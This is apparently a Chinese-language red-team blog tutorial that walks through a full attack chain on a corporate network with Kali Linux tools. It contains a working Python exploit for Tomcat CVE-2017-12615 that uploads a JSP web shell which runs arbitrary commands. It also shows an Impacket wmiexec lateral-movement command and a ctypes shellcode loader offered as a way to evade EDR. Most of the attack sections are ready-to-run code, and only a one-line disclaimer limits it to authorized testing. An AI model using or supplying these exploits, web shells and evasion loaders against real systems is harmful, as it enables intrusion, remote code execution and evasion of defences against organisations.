一、用攻击视角反推防御漏洞

在企业环境中,防御者通常习惯于构建层层防护的安全体系:防火墙规则、EDR监控、流量审计、漏洞扫描等。然而,攻击者的视角却完全不同,他们会寻找错综复杂的防御链中最薄弱的一环,利用它打开突破口。Kali Linux作为渗透测试领域的王牌工具,提供了丰富的攻击工具和框架,可以让攻击者逐步拆解目标防御。本文将以一个真实的企业内网为目标,展示如何利用Kali Linux完成完整的攻击链操作,从信息收集到最终的数据窃取。

---

二、信息收集的密码是耐心

攻击链的第一步永远是信息收集。这里我们并不急于直接使用漏洞扫描器,而是通过多渠道收集目标的关键信息:域名、IP地址、开放的端口、暴露的服务以及人员联系方式等。Kali Linux内置了众多信息收集工具,例如:Nmap、Recon-ng,以及OSINT工具包。以下是一个针对目标网络的信息收集实例:

工具选择与操作实例

1. 使用 Nmap 探测目标网络

Nmap 是渗透测试的必备工具之一,可用于端口扫描、服务识别和操作系统探测。我们假设目标是网段 192.168.1.0/24 的企业内网:

<pre><code class="language-bash">nmap -sS -p 1-65535 -T4 -A -v 192.168.1.0/24</code></pre>

参数解析:

  • -sS:TCP SYN 扫描,隐蔽性更强;
  • -p 1-65535:扫描所有端口,避免遗漏;
  • -A:启用服务检测、操作系统识别;
  • -T4:调整扫描速度,避免被防火墙限制。

黑客示意图

2. 利用 Recon-ng 进行外部信息收集

Recon-ng 是 Kali Linux中强大的 OSINT 框架,可以通过模块化方式挖掘目标信息。假设目标域名为 example.com

<pre><code class="language-bash">recon-ng &gt; workspaces create example &gt; modules add recon/domains-hosts/bing_domain_web &gt; set source example.com &gt; run &gt; show hosts</code></pre>

通过 Bing 搜索 API,我们可以发现与目标域名相关的外部子域和主机信息。

---

三、漏洞利用的深度剖析

信息收集之后,我们进入漏洞利用阶段。假设目标的某台主机运行了一个 Web 服务,并通过 Nmap 检测发现其存在一个 Apache Tomcat 的实例(版本 7.0.81)。结合漏洞库,发现这个版本可能存在远程代码执行漏洞。

POC实现:CVE-2017-12615

以下是针对 Apache Tomcat PUT 任意文件上传漏洞的攻击代码。我们将直接构造一个 JSP Web Shell 上传到目标服务器:

黑客示意图

<pre><code class="language-python">import requests

目标地址

target_url = &quot;http://192.168.1.100:8080/&quot; upload_path = &quot;uploads/shell.jsp&quot;

构造 JSP Web Shell

web_shell = &quot;&quot;&quot; &lt;% out.println(&quot;Web Shell connected!&quot;); %&gt; &lt;% String cmd = request.getParameter(&quot;cmd&quot;); Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream in = process.getInputStream(); java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter(&quot;\\A&quot;); out.println(scanner.hasNext() ? scanner.next() : &quot;&quot;); %&gt; &quot;&quot;&quot;

文件上传逻辑

headers = {&quot;Content-Type&quot;: &quot;text/plain&quot;} response = requests.put(target_url + upload_path, data=web_shell, headers=headers)

if response.status_code == 201: print(&quot;[+] Web Shell uploaded successfully!&quot;) print(&quot;[+] Access it at: &quot; + target_url + upload_path) else: print(&quot;[-] Upload failed! Status Code:&quot;, response.status_code)</code></pre>

运行步骤:

  1. 将上述代码保存为 tomcat_put_exploit.py
  2. 修改目标地址和上传路径;
  3. 使用 Python 运行脚本即可上传 Web Shell。

此漏洞的核心是 Apache Tomcat 对 PUT 方法权限的错误配置,允许攻击者上传任意文件。

---

四、横向移动与权限维持

一旦获得目标服务器的初始权限,我们需要在内网中扩大攻击范围,寻找更多关键目标。假设当前权限为普通用户,我们可以利用 SMB 协议进行横向移动。

使用 Impacket 套件实现横向移动

Impacket 是 Kali Linux 中一款非常强大的工具包,包含多种协议的攻击模块。以下示例演示如何使用 wmiexec.py 模块在内网中横向执行命令:

<pre><code class="language-bash">python3 /usr/share/doc/python3-impacket/examples/wmiexec.py administrator:[email protected] &quot;whoami&quot;</code></pre>

如果目标机器返回结果,例如 nt authority\system,则说明命令执行成功。利用此工具,我们可以逐台横向扫描内网主机,进一步提升权限。

---

五、绕过EDR:免杀技术的细节优化

黑客示意图

现如今大多数企业都部署了 EDR(终端检测与响应)系统,而我们需要绕过这些防御。常规的恶意载荷会被特征库轻松识别,因此需要加入免杀技术。以下是一段基于 Python 的免杀恶意载荷:

免杀脚本:内存加载恶意代码

<pre><code class="language-python">import ctypes

恶意代码:直接写入内存

shellcode = b&quot;\x90\x90\x90...&quot; # 替换为实际的 Shellcode

分配内存空间

ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x1000, 0x40)

写入 Shellcode

ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))

创建线程执行

ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None)

保持窗口不关闭

input(&quot;Press Enter to exit...&quot;)</code></pre>

解析:

  • Shellcode 被直接加载到内存,绕过传统文件扫描;
  • 使用系统 API 创建线程执行恶意代码;
  • 通过动态分配空间避免被静态分析检测。

---

六、个人经验:如何提升攻击链完整性

黑客示意图

作为一名渗透测试工程师,我的经验是:永远不要急于使用工具,先从目标的弱点入手分析其防御漏洞。 很多时候真正有效的攻击并不是来自工具,而是基于你的逻辑分析能力。例如:

  • 针对特定防火墙规则设计流量免杀策略;
  • 为每一个攻击阶段设置明确目标;
  • 在绕过检测时,时刻关注最新的 EDR 对抗技术。

同时,保持敏锐的学习能力,随时更新武器库,才能在红队实战中保持优势。

---

本文仅供授权的安全测试使用,请勿用于非法用途。